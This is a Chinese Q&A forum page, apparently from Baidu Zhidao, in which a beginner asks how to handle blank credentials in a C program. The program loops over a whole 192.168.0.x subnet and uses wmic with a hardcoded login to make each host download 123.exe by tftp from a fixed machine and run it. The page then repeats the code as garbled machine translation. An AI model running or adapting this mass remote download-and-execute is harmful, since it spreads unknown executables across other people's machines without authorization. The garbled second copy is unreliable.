有个编译的简单问题,请教一下各位大虾。

来源:百度知道 编辑:UC知道 时间:2024/05/17 22:17:02
有个问题请教,我段指令

#include <windows.h>
#include<iostream>
void main()
{
char buf[256];
for(int i=1;i<=256;i++)
{
sprintf(buf,"wmic /node:192.168.0.%d /user:xpclient /password:MZD process call create \"tftp.exe -i 192.168.0.73 get 123.exe c:\123.exe\"",i);
WinExec(buf,SW_SHOWNORMAL);
printf("%d-1执行完毕",i);
Sleep(1000);
sprintf(buf,"wmic /node:192.168.0.%d /user:xpclient /password:MZD process call create \"c:\123.exe\"",i);
WinExec(buf,SW_SHOWNORMAL);
printf("%d-2执行完毕",i);
printf("\n---------------------------------------------\n");
Sleep(200);
}
system("pause");
}

我是用RadASM 运行这段指令的。
可以看出/user:xpclient /password:MZD 是用户名和密码。
那如果密码是空的,应该怎么写? 如果用户名和密码全是空的,又应该怎么写呢?
请教了。我是个菜鸟,谢谢。
不对的,密码为空,把 /password:MZD 去掉 运行后它提示要我

#包括: <windows.h>
#包括: <iostream>
无效的main()

字符缓冲带[256];
为(廉政= 1,我“= 256;一+ +)

sprintf(缓冲带,“wmic来/节点:192.168.0。%d个/用户:xpclient /密码:MZD过程的要求创建\”tftp.exe - 1 192.168.0.73得到123.exe荤:\ 123.exe \“”, 1);
WinExec的(缓冲带,SW_SHOWNORMAL);
printf(“%d - 1的执行完毕”,1);
睡眠(1000);
sprintf(缓冲带,“wmic来/节点:192.168.0。%d个/用户:xpclient /密码:MZD过程调用create \的”C:\ 123.exe \“”,1);
WinExec的(缓冲带,SW_SHOWNORMAL);
printf(“%d个- 2执行完毕”,1);
printf(“\ ñ --------------------------------------------- \ N“的);
睡眠(200);

系统(“暂停”);